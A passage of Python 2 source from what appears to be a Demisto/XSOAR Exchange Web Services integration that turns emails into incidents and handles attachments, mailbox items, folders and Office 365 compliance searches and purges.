item.__dict__.items(): if type(value) in [str, unicode, int, float, bool, Body, HTMLBody, None]: try: if isinstance(value, basestring): value.encode('utf-8') # type: ignore raw_dict[field] = value except Exception: pass if getattr(item, 'attachments', None): raw_dict['attachments'] = map(lambda x: parse_attachment_as_dict(item.item_id, x), item.attachments) for time_field in ['datetime_sent', 'datetime_created', 'datetime_received', 'last_modified_time', 'reminder_due_by']: value = getattr(item, time_field, None) if value: raw_dict[time_field] = value.ewsformat() for dict_field in ['effective_rights', 'parent_folder_id', 'conversation_id', 'author', 'extern_id', 'received_by', 'received_representing', 'reply_to', 'sender', 'folder']: value = getattr(item, dict_field, None) if value: raw_dict[dict_field] = parse_object_as_dict(value) for list_dict_field in ['headers', 'cc_recipients', 'to_recipients']: value = getattr(item, list_dict_field, None) if value: raw_dict[list_dict_field] = map(lambda x: parse_object_as_dict(x), value) if getattr(item, 'folder', None): raw_dict['folder'] = parse_folder_as_json(item.folder) folder_path = item.folder.absolute[len(TOIS_PATH):] if item.folder.absolute.startswith( TOIS_PATH) else item.folder.absolute raw_dict['folder_path'] = folder_path if compact_fields: new_dict = {} fields_list = ['datetime_created', 'datetime_received', 'datetime_sent', 'sender', 'has_attachments', 'importance', 'message_id', 'last_modified_time', 'size', 'subject', 'text_body', 'headers', 'body', 'folder_path', 'is_read'] # Docker BC if exchangelib.__version__ == "1.12.0": if 'id' in raw_dict: new_dict['item_id'] = raw_dict['id'] else: fields_list.append('item_id') for field in fields_list: if field in raw_dict: new_dict[field] = raw_dict.get(field) for field in ['received_by', 'author', 'sender']: if field in raw_dict: new_dict[field] = raw_dict.get(field, {}).get('email_address') for field in ['to_recipients']: if field in raw_dict: new_dict[field] = map(lambda x: x.get('email_address'), raw_dict[field]) attachments = raw_dict.get('attachments') if attachments and len(attachments) > 0: file_attachments = [x for x in attachments if x[ATTACHMENT_TYPE] == FILE_ATTACHMENT_TYPE] if len(file_attachments) > 0: new_dict['FileAttachments'] = file_attachments item_attachments = [x for x in attachments if x[ATTACHMENT_TYPE] == ITEM_ATTACHMENT_TYPE] if len(item_attachments) > 0: new_dict['ItemAttachments'] = item_attachments raw_dict = new_dict if camel_case: raw_dict = keys_to_camel_case(raw_dict) if email_address: raw_dict[MAILBOX] = email_address return raw_dict def parse_incident_from_item(item, is_fetch): incident = {} labels = [] try: incident['details'] = item.text_body or item.body except AttributeError: incident['details'] = item.body incident['name'] = item.subject labels.append({'type': 'Email/subject', 'value': item.subject}) incident['occurred'] = item.datetime_created.ewsformat() # handle recipients if item.to_recipients: for recipient in item.to_recipients: labels.append({'type': 'Email', 'value': recipient.email_address}) # handle cc if item.cc_recipients: for recipient in item.cc_recipients: labels.append({'type': 'Email/cc', 'value': recipient.email_address}) # handle email from if item.sender: labels.append({'type': 'Email/from', 'value': item.sender.email_address}) # email format email_format = '' try: if item.text_body: labels.append({'type': 'Email/text', 'value': item.text_body}) email_format = 'text' except AttributeError: pass if item.body: labels.append({'type': 'Email/html', 'value': item.body}) email_format = 'HTML' labels.append({'type': 'Email/format', 'value': email_format}) # handle attachments if item.attachments: incident['attachment'] = [] for attachment in item.attachments: file_result = None label_attachment_type = None label_attachment_id_type = None if isinstance(attachment, FileAttachment): try: if attachment.content: # file attachment label_attachment_type = 'attachments' label_attachment_id_type = 'attachmentId' # save the attachment file_name = get_attachment_name(attachment.name) file_result = fileResult(file_name, attachment.content) # check for error if file_result['Type'] == entryTypes['error']: demisto.error(file_result['Contents']) raise Exception(file_result['Contents']) # save attachment to incident incident['attachment'].append({ 'path': file_result['FileID'], 'name': get_attachment_name(attachment.name) }) except TypeError, e: if e.message != "must be string or buffer, not None": raise continue else: # other item attachment label_attachment_type = 'attachmentItems' label_attachment_id_type = 'attachmentItemsId' # save the attachment if attachment.item.mime_content: attached_email = email.message_from_string(attachment.item.mime_content) if attachment.item.headers: attached_email_headers = [(h, ' '.join(map(str.strip, v.split('\r\n')))) for (h, v) in attached_email.items()] for header in attachment.item.headers: if (header.name, header.value) not in attached_email_headers \ and header.name != 'Content-Type': attached_email.add_header(header.name, header.value) file_result = fileResult(get_attachment_name(attachment.name) + ".eml", attached_email.as_string()) if file_result: # check for error if file_result['Type'] == entryTypes['error']: demisto.error(file_result['Contents']) raise Exception(file_result['Contents']) # save attachment to incident incident['attachment'].append({ 'path': file_result['FileID'], 'name': get_attachment_name(attachment.name) + ".eml" }) labels.append({'type': label_attachment_type, 'value': get_attachment_name(attachment.name)}) labels.append({'type': label_attachment_id_type, 'value': attachment.attachment_id.id}) # handle headers if item.headers: headers = [] for header in item.headers: labels.append({'type': 'Email/Header/{}'.format(header.name), 'value': str(header.value)}) headers.append("{}: {}".format(header.name, header.value)) labels.append({'type': 'Email/headers', 'value': "\r\n".join(headers)}) # handle item id if item.message_id: labels.append({'type': 'Email/MessageId', 'value': str(item.message_id)}) if item.item_id: labels.append({'type': 'Email/ID', 'value': item.item_id}) labels.append({'type': 'Email/itemId', 'value': item.item_id}) # handle conversion id if item.conversation_id: labels.append({'type': 'Email/ConversionID', 'value': item.conversation_id.id}) if MARK_AS_READ and is_fetch: item.is_read = True item.save() incident['labels'] = labels incident['rawJSON'] = json.dumps(parse_item_as_dict(item, None), ensure_ascii=False) return incident def fetch_emails_as_incidents(account_email, folder_name): last_run = get_last_run() try: account = get_account(account_email) last_emails = fetch_last_emails(account, folder_name, last_run.get(LAST_RUN_TIME), last_run.get(LAST_RUN_IDS)) ids = deque(last_run.get(LAST_RUN_IDS, []), maxlen=LAST_RUN_IDS_QUEUE_SIZE) incidents = [] incident = {} # type: Dict[Any, Any] for item in last_emails: if item.message_id: ids.append(item.message_id) incident = parse_incident_from_item(item, True) incidents.append(incident) if len(incidents) >= MAX_FETCH: break last_run_time = incident.get('occurred', last_run.get(LAST_RUN_TIME)) if isinstance(last_run_time, EWSDateTime): last_run_time = last_run_time.ewsformat() new_last_run = { LAST_RUN_TIME: last_run_time, LAST_RUN_FOLDER: folder_name, LAST_RUN_IDS: list(ids), ERROR_COUNTER: 0 } demisto.setLastRun(new_last_run) return incidents except RateLimitError: if LAST_RUN_TIME in last_run: last_run[LAST_RUN_TIME] = last_run[LAST_RUN_TIME].ewsformat() if ERROR_COUNTER not in last_run: last_run[ERROR_COUNTER] = 0 last_run[ERROR_COUNTER] += 1 demisto.setLastRun(last_run) if last_run[ERROR_COUNTER] > 2: raise return [] def get_entry_for_file_attachment(item_id, attachment): entry = fileResult(get_attachment_name(attachment.name), attachment.content) ec = { CONTEXT_UPDATE_EWS_ITEM_FOR_ATTACHMENT + CONTEXT_UPDATE_FILE_ATTACHMENT: parse_attachment_as_dict(item_id, attachment) } entry[ENTRY_CONTEXT] = filter_dict_null(ec) return entry def parse_attachment_as_dict(item_id, attachment): try: attachment_content = attachment.content if isinstance(attachment, FileAttachment) else attachment.item.mime_content return { ATTACHMENT_ORIGINAL_ITEM_ID: item_id, ATTACHMENT_ID: attachment.attachment_id.id, 'attachmentName': get_attachment_name(attachment.name), 'attachmentSHA256': hashlib.sha256(attachment_content).hexdigest() if attachment_content else None, 'attachmentContentType': attachment.content_type, 'attachmentContentId': attachment.content_id, 'attachmentContentLocation': attachment.content_location, 'attachmentSize': attachment.size, 'attachmentLastModifiedTime': attachment.last_modified_time.ewsformat(), 'attachmentIsInline': attachment.is_inline, ATTACHMENT_TYPE: FILE_ATTACHMENT_TYPE if isinstance(attachment, FileAttachment) else ITEM_ATTACHMENT_TYPE } except TypeError, e: if e.message != "must be string or buffer, not None": raise return { ATTACHMENT_ORIGINAL_ITEM_ID: item_id, ATTACHMENT_ID: attachment.attachment_id.id, 'attachmentName': get_attachment_name(attachment.name), 'attachmentSHA256': None, 'attachmentContentType': attachment.content_type, 'attachmentContentId': attachment.content_id, 'attachmentContentLocation': attachment.content_location, 'attachmentSize': attachment.size, 'attachmentLastModifiedTime': attachment.last_modified_time.ewsformat(), 'attachmentIsInline': attachment.is_inline, ATTACHMENT_TYPE: FILE_ATTACHMENT_TYPE if isinstance(attachment, FileAttachment) else ITEM_ATTACHMENT_TYPE } def get_entry_for_item_attachment(item_id, attachment, target_email): item = attachment.item dict_result = parse_attachment_as_dict(item_id, attachment) dict_result.update(parse_item_as_dict(item, target_email, camel_case=True, compact_fields=True)) title = 'EWS get attachment got item for "%s", "%s"' % (target_email, get_attachment_name(attachment.name)) return get_entry_for_object(title, CONTEXT_UPDATE_EWS_ITEM_FOR_ATTACHMENT + CONTEXT_UPDATE_ITEM_ATTACHMENT, dict_result) def get_attachments_for_item(item_id, account, attachment_ids=None): item = get_item_from_mailbox(account, item_id) attachments = [] if attachment_ids and not isinstance(attachment_ids, list): attachment_ids = attachment_ids.split(",") if item: if item.attachments: for attachment in item.attachments: if attachment_ids and attachment.attachment_id.id not in attachment_ids: continue attachments.append(attachment) else: raise Exception('Message item not found: ' + item_id) if attachment_ids and len(attachments) < len(attachment_ids): raise Exception('Some attachment id did not found for message:' + str(attachment_ids)) return attachments def delete_attachments_for_message(item_id, target_mailbox=None, attachment_ids=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) attachments = get_attachments_for_item(item_id, account, attachment_ids) deleted_file_attachments = [] deleted_item_attachments = [] # type: ignore for attachment in attachments: attachment_deleted_action = { ATTACHMENT_ID: attachment.attachment_id.id, ACTION: 'deleted' } if isinstance(attachment, FileAttachment): deleted_file_attachments.append(attachment_deleted_action) else: deleted_item_attachments.append(attachment_deleted_action) attachment.detach() entries = [] if len(deleted_file_attachments) > 0: entry = get_entry_for_object("Deleted file attachments", "EWS.Items" + CONTEXT_UPDATE_FILE_ATTACHMENT, deleted_file_attachments) entries.append(entry) if len(deleted_item_attachments) > 0: entry = get_entry_for_object("Deleted item attachments", "EWS.Items" + CONTEXT_UPDATE_ITEM_ATTACHMENT, deleted_item_attachments) entries.append(entry) return entries def fetch_attachments_for_message(item_id, target_mailbox=None, attachment_ids=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) attachments = get_attachments_for_item(item_id, account, attachment_ids) entries = [] for attachment in attachments: if isinstance(attachment, FileAttachment): try: if attachment.content: entries.append(get_entry_for_file_attachment(item_id, attachment)) except TypeError, e: if e.message != "must be string or buffer, not None": raise else: entries.append(get_entry_for_item_attachment(item_id, attachment, account.primary_smtp_address)) if attachment.item.mime_content: entries.append(fileResult(get_attachment_name(attachment.name) + ".eml", attachment.item.mime_content)) return entries def move_item_between_mailboxes(item_id, destination_mailbox, destination_folder_path, source_mailbox=None, is_public=None): source_account = get_account(source_mailbox or ACCOUNT_EMAIL) destination_account = get_account(destination_mailbox or ACCOUNT_EMAIL) is_public = is_default_folder(destination_folder_path, is_public) destination_folder = get_folder_by_path(destination_account, destination_folder_path, is_public) item = get_item_from_mailbox(source_account, item_id) exported_items = source_account.export([item]) destination_account.upload([(destination_folder, exported_items[0])]) source_account.bulk_delete([item]) move_result = { MOVED_TO_MAILBOX: destination_mailbox, MOVED_TO_FOLDER: destination_folder_path, } return { 'Type': entryTypes['note'], 'Contents': "Item was moved successfully.", 'ContentsFormat': formats['text'], ENTRY_CONTEXT: { "EWS.Items(val.itemId === '%s')" % (item_id,): move_result } } def move_item(item_id, target_folder_path, target_mailbox=None, is_public=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) is_public = is_default_folder(target_folder_path, is_public) target_folder = get_folder_by_path(account, target_folder_path, is_public) item = get_item_from_mailbox(account, item_id) if isinstance(item, ErrorInvalidIdMalformed): raise Exception("Item not found") item.move(target_folder) move_result = { NEW_ITEM_ID: item.item_id, ITEM_ID: item_id, MESSAGE_ID: item.message_id, ACTION: 'moved' } return get_entry_for_object('Moved items', CONTEXT_UPDATE_EWS_ITEM, move_result) def delete_items(item_ids, delete_type, target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) deleted_items = [] if type(item_ids) != list: item_ids = item_ids.split(",") items = get_items_from_mailbox(account, item_ids) delete_type = delete_type.lower() for item in items: item_id = item.item_id if delete_type == 'trash': item.move_to_trash() elif delete_type == 'soft': item.soft_delete() elif delete_type == 'hard': item.delete() else: raise Exception('invalid delete type: %s. Use "trash" \\ "soft" \\ "hard"' % delete_type) deleted_items.append({ ITEM_ID: item_id, MESSAGE_ID: item.message_id, ACTION: '%s-deleted' % delete_type }) return get_entry_for_object('Deleted items (%s delete type)' % delete_type, CONTEXT_UPDATE_EWS_ITEM, deleted_items) def prepare_args(d): d = dict((k.replace("-", "_"), v) for k, v in d.items()) if 'is_public' in d: if exchangelib.__version__ != "1.12.0": # Docker BC raise Exception(PUBLIC_FOLDERS_ERROR) else: d['is_public'] = d['is_public'] == 'True' return d def get_limited_number_of_messages_from_qs(qs, limit): count = 0 results = [] for item in qs: if count == limit: break if isinstance(item, Message): count += 1 results.append(item) return results def search_items_in_mailbox(query=None, message_id=None, folder_path='', limit=100, target_mailbox=None, is_public=None, selected_fields='all'): if not query and not message_id: return_error("Missing required argument. Provide query or message-id") if message_id and message_id[0] != '<' and message_id[-1] != '>': message_id = '<{}>'.format(message_id) account = get_account(target_mailbox or ACCOUNT_EMAIL) limit = int(limit) if folder_path.lower() == 'inbox': folders = [account.inbox] elif folder_path: is_public = is_default_folder(folder_path, is_public) folders = [get_folder_by_path(account, folder_path, is_public)] else: folders = account.inbox.parent.walk() # pylint: disable=E1101 items = [] # type: ignore selected_all_fields = (selected_fields == 'all') if selected_all_fields: restricted_fields = list(map(lambda x: x.name, Message.FIELDS)) # type: ignore else: restricted_fields = set(argToList(selected_fields)) # type: ignore restricted_fields.update(['id', 'message_id']) # type: ignore for folder in folders: if Message not in folder.supported_item_models: continue if query: items_qs = folder.filter(query).only(*restricted_fields) else: items_qs = folder.filter(message_id=message_id).only(*restricted_fields) items += get_limited_number_of_messages_from_qs(items_qs, limit) if len(items) >= limit: break items = items[:limit] searched_items_result = map( lambda item: parse_item_as_dict(item, account.primary_smtp_address, camel_case=True, compact_fields=selected_all_fields), items) if not selected_all_fields: searched_items_result = [ {k: v for (k, v) in i.iteritems() if k in keys_to_camel_case(restricted_fields)} for i in searched_items_result] for item in searched_items_result: item['itemId'] = item.pop('id', '') return get_entry_for_object('Searched items', CONTEXT_UPDATE_EWS_ITEM, searched_items_result, headers=ITEMS_RESULTS_HEADERS if selected_all_fields else None) def get_out_of_office_state(target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) oof = account.oof_settings oof_dict = { 'state': oof.state, # pylint: disable=E1101 'externalAudience': getattr(oof, 'external_audience', None), 'start': oof.start.ewsformat() if oof.start else None, # pylint: disable=E1101 'end': oof.end.ewsformat() if oof.end else None, # pylint: disable=E1101 'internalReply': getattr(oof, 'internal_replay', None), 'externalReply': getattr(oof, 'external_replay', None), MAILBOX: account.primary_smtp_address } return get_entry_for_object("Out of office state for %s" % account.primary_smtp_address, 'Account.Email(val.Address == obj.{0}).OutOfOffice'.format(MAILBOX), oof_dict) def recover_soft_delete_item(message_ids, target_folder_path="Inbox", target_mailbox=None, is_public=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) is_public = is_default_folder(target_folder_path, is_public) target_folder = get_folder_by_path(account, target_folder_path, is_public) recovered_messages = [] if type(message_ids) != list: message_ids = message_ids.split(",") items_to_recover = account.recoverable_items_deletions.filter( # pylint: disable=E1101 message_id__in=message_ids).all() # pylint: disable=E1101 if len(items_to_recover) != len(message_ids): raise Exception("Some message ids are missing in recoverable items directory") for item in items_to_recover: item.move(target_folder) recovered_messages.append({ ITEM_ID: item.item_id, MESSAGE_ID: item.message_id, ACTION: 'recovered' }) return get_entry_for_object("Recovered messages", CONTEXT_UPDATE_EWS_ITEM, recovered_messages) def get_contacts(limit, target_mailbox=None): def parse_physical_address(address): result = {} for attr in ['city', 'country', 'label', 'state', 'street', 'zipcode']: result[attr] = getattr(address, attr, None) return result def parse_phone_number(phone_number): result = {} for attr in ['label', 'phone_number']: result[attr] = getattr(phone_number, attr, None) return result def parse_contact(contact): contact_dict = dict((k, v if not isinstance(v, EWSDateTime) else v.ewsformat()) for k, v in contact.__dict__.items() if isinstance(v, basestring) or isinstance(v, EWSDateTime)) if isinstance(contact, Contact) and contact.physical_addresses: contact_dict['physical_addresses'] = map(parse_physical_address, contact.physical_addresses) if isinstance(contact, Contact) and contact.phone_numbers: contact_dict['phone_numbers'] = map(parse_phone_number, contact.phone_numbers) if isinstance(contact, Contact) and contact.email_addresses and len(contact.email_addresses) > 0: contact_dict['emailAddresses'] = map(lambda x: x.email, contact.email_addresses) contact_dict = keys_to_camel_case(contact_dict) contact_dict = dict((k, v) for k, v in contact_dict.items() if v) del contact_dict['mimeContent'] contact_dict['originMailbox'] = target_mailbox return contact_dict account = get_account(target_mailbox or ACCOUNT_EMAIL) contacts = [] for contact in account.contacts.all()[:int(limit)]: # pylint: disable=E1101 contacts.append(parse_contact(contact)) return get_entry_for_object('Email contacts for %s' % target_mailbox, 'Account.Email(val.Address == obj.originMailbox).EwsContacts', contacts) def create_folder(new_folder_name, folder_path, target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) full_path = "%s\\%s" % (folder_path, new_folder_name) try: if get_folder_by_path(account, full_path): return "Folder %s already exists" % full_path except Exception: pass parent_folder = get_folder_by_path(account, folder_path) f = Folder(parent=parent_folder, name=new_folder_name) f.save() get_folder_by_path(account, full_path) return "Folder %s created successfully" % full_path def find_folders(target_mailbox=None, is_public=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) root = account.root if exchangelib.__version__ == "1.12.0": # Docker BC if is_public: root = account.public_folders_root folders = [] for f in root.walk(): # pylint: disable=E1101 folder = folder_to_context_entry(f) folders.append(folder) folders_tree = root.tree() # pylint: disable=E1101 return { 'Type': entryTypes['note'], 'Contents': folders, 'ContentsFormat': formats['json'], 'ReadableContentsFormat': formats['text'], 'HumanReadable': folders_tree, ENTRY_CONTEXT: { 'EWS.Folders(val.id == obj.id)': folders } } def mark_item_as_junk(item_id, move_items, target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) move_items = (move_items.lower() == "yes") ews_result = MarkAsJunk(account=account).call(item_id=item_id, move_item=move_items) mark_as_junk_result = { ITEM_ID: item_id, } if ews_result == "Success": mark_as_junk_result[ACTION] = 'marked-as-junk' else: raise Exception("Failed mark-item-as-junk with error: " + ews_result) return get_entry_for_object('Mark item as junk', CONTEXT_UPDATE_EWS_ITEM, mark_as_junk_result) def get_items_from_folder(folder_path, limit=100, target_mailbox=None, is_public=None, get_internal_item='no'): account = get_account(target_mailbox or ACCOUNT_EMAIL) limit = int(limit) get_internal_item = (get_internal_item == 'yes') is_public = is_default_folder(folder_path, is_public) folder = get_folder_by_path(account, folder_path, is_public) qs = folder.filter().order_by('-datetime_created')[:limit] items = get_limited_number_of_messages_from_qs(qs, limit) items_result = [] for item in items: item_attachment = parse_item_as_dict(item, account.primary_smtp_address, camel_case=True, compact_fields=True) for attachment in item.attachments: if get_internal_item and isinstance(attachment, ItemAttachment) and isinstance(attachment.item, Message): # if found item attachment - switch item to the attchment item_attachment = parse_item_as_dict(attachment.item, account.primary_smtp_address, camel_case=True, compact_fields=True) break items_result.append(item_attachment) hm_headers = ['sender', 'subject', 'hasAttachments', 'datetimeReceived', 'receivedBy', 'author', 'toRecipients', ] if exchangelib.__version__ == "1.12.0": # Docker BC hm_headers.append('itemId') return get_entry_for_object('Items in folder ' + folder_path, CONTEXT_UPDATE_EWS_ITEM, items_result, headers=hm_headers) def get_items(item_ids, target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) if type(item_ids) != list: item_ids = item_ids.split(",") items = get_items_from_mailbox(account, item_ids) items = [x for x in items if isinstance(x, Message)] items_as_incidents = map(lambda x: parse_incident_from_item(x, False), items) items_to_context = map(lambda x: parse_item_as_dict(x, account.primary_smtp_address, True, True), items) return { 'Type': entryTypes['note'], 'Contents': items_as_incidents, 'ContentsFormat': formats['json'], 'ReadableContentsFormat': formats['markdown'], 'HumanReadable': tableToMarkdown('Get items', items_to_context, ITEMS_RESULTS_HEADERS), ENTRY_CONTEXT: { CONTEXT_UPDATE_EWS_ITEM: items_to_context } } def get_folder(folder_path, target_mailbox=None, is_public=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) is_public = is_default_folder(folder_path, is_public) folder = folder_to_context_entry(get_folder_by_path(account, folder_path, is_public)) return get_entry_for_object("Folder %s" % (folder_path,), CONTEXT_UPDATE_FOLDER, folder) def folder_to_context_entry(f): f_entry = { 'name': f.name, 'totalCount': f.total_count, 'id': f.folder_id, 'childrenFolderCount': f.child_folder_count, 'changeKey': f.changekey } if 'unread_count' in map(lambda x: x.name, Folder.FIELDS): f_entry['unreadCount'] = f.unread_count return f_entry def check_cs_prereqs(): if 'outlook.office365.com' not in EWS_SERVER: raise Exception("This command is only supported for Office 365") if exchangelib.__version__ != "1.12.0": raise Exception("Please update your docker image to use this command") def get_cs_error(stderr): return { "Type": entryTypes["error"], "ContentsFormat": formats["text"], "Contents": stderr } if stderr else None def get_cs_status(search_name, status): return { 'Type': entryTypes['note'], 'ContentsFormat': formats['text'], 'Contents': 'Search {} status: {}'.format(search_name, status), 'EntryContext': { 'EWS.ComplianceSearch(val.Name === obj.Name)': {'Name': search_name, 'Status': status} } } def start_compliance_search(query): check_cs_prereqs() try: with open("startcompliancesearch2.ps1", "w+") as f: f.write(START_COMPLIANCE) output = subprocess.Popen(["pwsh", "startcompliancesearch2.ps1", USERNAME, query], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = output.communicate(input=PASSWORD.encode()) finally: os.remove("startcompliancesearch2.ps1") if stderr: return get_cs_error(stderr) prefix = '"Action status: ' pref_ind = stdout.find(prefix) sub_start = pref_ind + len(prefix) sub_end = sub_start + 45 search_name = stdout[sub_start:sub_end] return { 'Type': entryTypes['note'], 'ContentsFormat': formats['text'], 'Contents': 'Search started: {}'.format(search_name), 'EntryContext': { 'EWS.ComplianceSearch': {'Name': search_name, 'Status': 'Starting'} } } def get_compliance_search(search_name): check_cs_prereqs() try: with open("getcompliancesearch2.ps1", "w+") as f: f.write(GET_COMPLIANCE) output = subprocess.Popen(["pwsh", "getcompliancesearch2.ps1", USERNAME, search_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = output.communicate(input=PASSWORD.encode()) finally: os.remove("getcompliancesearch2.ps1") if stderr: return get_cs_error(stderr) # Get search status stdout = stdout[len(PASSWORD):] stdout = stdout.split('\n', 1) # type: ignore results = [get_cs_status(search_name, stdout[0])] # Parse search results from script output if the search has completed. Output to warroom as table. if stdout[0] == 'Completed': res = list(r[:-1].split(', ') if r[-1] == ',' else r.split(', ') for r in stdout[1][2:-3].split(r'\r\n')) res = map(lambda x: {k: v for k, v in (s.split(': ') for s in x)}, res) results.append( { 'Type': entryTypes['note'], 'ContentsFormat': formats['text'], 'Contents': stdout, 'ReadableContentsFormat': formats['markdown'], 'HumanReadable': tableToMarkdown('Office 365 Compliance search results', res, ['Location', 'Item count', 'Total size']) } ) return results def purge_compliance_search(search_name): check_cs_prereqs() try: with open("purgecompliancesearch2.ps1", "w+") as f: f.write(PURGE_COMPLIANCE) output = subprocess.Popen(["pwsh", "purgecompliancesearch2.ps1", USERNAME, search_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) _, stderr = output.communicate(input=PASSWORD.encode()) finally: os.remove("purgecompliancesearch2.ps1") if stderr: return get_cs_error(stderr) return get_cs_status(search_name, 'Purging') def check_purge_compliance_search(search_name): check_cs_prereqs() try: with open("purgestatuscompliancesearch2.ps1", "w+") as f: f.write(PURGE_STATUS_COMPLIANCE) output = subprocess.Popen(["pwsh", "purgestatuscompliancesearch2.ps1", USERNAME, search_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = output.communicate(input=PASSWORD.encode()) stdout = stdout[len(PASSWORD):] finally: os.remove("purgestatuscompliancesearch2.ps1") if stderr: return get_cs_error(stderr) return get_cs_status(search_name, 'Purged' if stdout.split('\n')[-2] == 'Completed' else 'Purging') def remove_compliance_search(search_name): check_cs_prereqs() try: with open("removecompliance2.ps1", "w+") as f: f.write(REMOVE_COMPLIANCE) output = subprocess.Popen( ["pwsh", "removecompliance2.ps1", USERNAME, search_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = output.communicate(input=PASSWORD.encode()) finally: os.remove("removecompliance2.ps1") if stderr: return get_cs_error(stderr) return get_cs_status(search_name, 'Removed') def get_autodiscovery_config(): config_dict = demisto.getIntegrationContext() return { 'Type': entryTypes['note'], 'Contents': config_dict, 'ContentsFormat': formats['json'], 'ReadableContentsFormat': formats['markdown'], 'HumanReadable': tableToMarkdown('Auto-Discovery Exchange Configuration', config_dict) } def mark_item_as_read(item_ids, operation='read', target_mailbox=None): marked_items = [] account = get_account(target_mailbox or ACCOUNT_EMAIL) item_ids = argToList(item_ids) items = get_items_from_mailbox(account, item_ids) items = [x for x in items if isinstance(x, Message)] for item in items: item.is_read = (operation == 'read') item.save() marked_items.append({ ITEM_ID: item.item_id, MESSAGE_ID: item.message_id, ACTION: 'marked-as-{}'.format(operation) }) return get_entry_for_object('Marked items ({} marked operation)'.format(operation), CONTEXT_UPDATE_EWS_ITEM, marked_items) def get_item_as_eml(item_id, target_mailbox=None): account = get_account(target_mailbox or ACCOUNT_EMAIL) item = get_item_from_mailbox(account, item_id) if item.mime_content: email_content = email.message_from_string(item.mime_content) if item.headers: attached_email_headers = [(h, ' '.join(map(str.strip, v.split('\r\n')))) for (h, v) in email_content.items()] for header in item.headers: if (header.name, header.value) not in attached_email_headers \ and header.name != 'Content-Type': email_content.add_header(header.name, header.value) eml_name = item.subject if item.subject else 'demisto_untitled_eml' file_result = fileResult(eml_name + ".eml", email_content.as_string()) file_result = file_result if file_result else "Failed uploading eml file to war room" return file_result def test_module(): try: global IS_TEST_MODULE IS_TEST_MODULE = True account = get_account(ACCOUNT_EMAIL) if not account.root.effective_rights.read: # pylint: disable=E1101 raise Exception("Success to authenticate, but user has no permissions to read from the mailbox. " "Need to delegate the user permissions to the mailbox - " "please read integration documentation and follow the instructions") get_folder_by_path(account, FOLDER_NAME, IS_PUBLIC_FOLDER).test_access() except ErrorFolderNotFound, e: if "Top of Information Store" in e.message: raise Exception( "Success to authenticate, but user probably has no permissions to read from the specific folder." "Check user permissions. You can try !ews-find-folders command to " "get all the folders structure that the user has permissions to") demisto.results('ok') def get_protocol(): if AUTO_DISCOVERY: protocol = get_account_autodiscover(ACCOUNT_EMAIL).protocol else: protocol = config.protocol # type: ignore return protocol def encode_and_submit_results(obj): demisto.results(str_to_unicode(obj)) def sub_main(): global EWS_SERVER, USERNAME, ACCOUNT_EMAIL, PASSWORD global config, credentials EWS_SERVER = demisto.params()['ewsServer'] USERNAME = demisto.params()['credentials']['identifier'] ACCOUNT_EMAIL = demisto.params()['defaultTargetMailbox'] PASSWORD = demisto.params()['credentials']['password'] config, credentials = prepare() args = prepare_args(demisto.args()) fix_2010() try: protocol = get_protocol() if demisto.command() == 'test-module': test_module() elif demisto.command() == 'fetch-incidents': incidents = fetch_emails_as_incidents(ACCOUNT_EMAIL, FOLDER_NAME) demisto.incidents(str_to_unicode(incidents)) elif demisto.command() == 'ews-get-attachment': encode_and_submit_results(fetch_attachments_for_message(**args)) elif demisto.command() == 'ews-delete-attachment': encode_and_submit_results(delete_attachments_for_message(**args)) elif demisto.command() == 'ews-get-searchable-mailboxes': encode_and_submit_results(get_searchable_mailboxes(protocol)) elif demisto.command() == 'ews-search-mailboxes': encode_and_submit_results(search_mailboxes(protocol, **args)) elif demisto.command() == 'ews-move-item-between-mailboxes': encode_and_submit_results(move_item_between_mailboxes(**args)) elif demisto.command() == 'ews-move-item': encode_and_submit_results(move_item(**args)) elif demisto.command() == 'ews-delete-items': encode_and_submit_results(delete_items(**args)) elif demisto.command() == 'ews-search-mailbox': encode_and_submit_results(search_items_in_mailbox(**args)) elif demisto.command() == 'ews-get-contacts': encode_and_submit_results(get_contacts(**args)) elif demisto.command() == 'ews-get-out-of-office': encode_and_submit_results(get_out_of_office_state(**args)) elif demisto.command() == 'ews-recover-messages': encode_and_submit_results(recover_soft_delete_item(**args)) elif demisto.command() == 'ews-create-folder': encode_and_submit_results(create_folder(**args)) elif demisto.command() == 'ews-mark-item-as-junk': encode_and_submit_results(mark_item_as_junk(**args)) elif demisto.command() == 'ews-find-folders': encode_and_submit_results(find_folders(**args)) elif demisto.command() == 'ews-get-items-from-folder': encode_and_submit_results(get_items_from_folder(**args)) elif demisto.command() == 'ews-get-items': encode_and_submit_results(get_items(**args)) elif demisto.command() == 'ews-get-folder': encode_and_submit_results(get_folder(**args)) elif demisto.command() == 'ews-o365-start-compliance-search': encode_and_submit_results(start_compliance_search(**args)) elif demisto.command() == 'ews-o365-get-compliance-search': encode_and_submit_results(get_compliance_search(**args)) elif demisto.command() == 'ews-o365-purge-compliance-search-results': encode_and_submit_results(purge_compliance_search(**args)) elif demisto.command() == 'ews-o365-get-compliance-search-purge-status': encode_and_submit_results(check_purge_compliance_search(**args)) elif demisto.command() == 'ews-o365-remove-compliance-search': encode_and_submit_results(remove_compliance_search(**args)) elif demisto.command() == 'ews-get-autodiscovery-config': encode_and_submit_results(get_autodiscovery_config()) elif demisto.command() == 'ews-expand-group': encode_and_submit_results(get_expanded_group(protocol, **args)) elif demisto.command() == 'ews-mark-items-as-read': encode_and_submit_results(mark_item_as_read(**args)) elif demisto.command() == 'ews-get-items-as-eml': encode_and_submit_results(get_item_as_eml(**args)) except Exception, e: import time time.sleep(2) start_logging() debug_log = log_stream.getvalue() # type: ignore error_message_simple = "" error_message = "" # Office365 regular maintenance 